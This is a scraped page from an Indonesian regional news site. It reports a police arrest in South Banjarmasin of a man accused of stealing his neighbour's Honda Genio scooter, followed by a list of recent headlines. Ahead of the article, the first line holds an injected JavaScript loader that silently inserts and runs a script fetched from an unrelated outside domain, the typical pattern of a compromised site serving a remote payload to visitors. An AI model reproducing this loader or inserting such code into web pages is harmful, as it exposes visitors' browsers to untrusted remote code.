(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Curi Honda Genio Tetangga, R Diringkus Polsek Banjarmasin Selatan


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor di Jalan Kelayan A, Gang Pancasila, Kelurahan Murung Raya, Kota Banjarmasin.

Seorang lelaki berinisial R (38) yang masih bertetangga dengan korban pencurian sepeda motor ditangkap setelah polisi melakukan penyelidikan.

Kapolsek Banjarmasin Selatan Kompol Agus Sugianto melalui Kanit Reskrim Iptu Sudirno dalam keterangan mengatakan, pelaku melancarkan aksi pencurian pada Jum’at  (2/8/2024) dini hari.

Sekitar pukul 04.00 Wita, saat korban bernama Nur Hilda (30) pulang kerja, memarkir sepeda motor Honda Genio di depan rumah Jalan Kelayan II A, Gang Pancasila RT 12 RW 01, Kelurahan Murung Raya, Kecamatan Banjarmasin Selatan.

Baca juga: Siapkan Pendaftaran Paslon, Kerja 4 Komisioner KPU Banjarbaru Ditinggal Rozy Maulana

Saat parkir sepeda motor matic Honda Genio warna matte black itu sudah terkunci stang, kemudian Nur Hilda masuk ke dalam rumah untuk beristirahat.

Sekitar pukul 06.30 Wita, Hilda dibangunkan oleh orang rumah lainnya yang mengabarkan bahwa sepeda motor miliknya sudah tidak ada di tempat lagi alias hilang.

“Pemilik beserta saksi mencari ke sekitar, namun tidak ditemukan motor tersebut, kemudian langsung melapor ke Polsek Banjarmasin Selatan,” kata Kanit Reskrim.

Setelah dilakukan penyelidikan terhadap laporan pemilik motor, Unit Opsnal Polsek Banjarmasin Selatan, pada Sabtu (3/8/2024) malam, mendapatkan informasi tentang posisi seorang lelaki yang dicurigai sebagai pelaku pencurian sepeda motor.

Sekitar pukul 23.00 Wita, polisi berhasil menangkap R yang diduga sebagai pelaku di Jalan Kelayan II A Gang Pancasila RT 12 Kelurahan Murung Raya, Kecamatan Banjarmasin Selatan.

Baca juga: Negara Rugi Rp6,2 Triliun Tiap Tahun Akibat Impor Tekstil Ilegal

Setelah dilakukan interogasi, pelaku menunjukan keberadaan sepeda motor Honda Genio yang dicuri tersebut disimpan di komplek Uka Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Barang bukti Honda Genio serta kunci duplikat diamankan petugas dari tangan pelaku. “Pelaku beserta barang bukti diamankan oleh petugas di Polsek Banjarmasin Selatan untuk dilakukan proses lebih lanjut,” ujarnya.

Perbuatan R terancam dijerat pasal 363 Kitab Undang-Undang Hukum Pidana tentang pencurian dengan pemberatan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

4 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

18 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

20 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.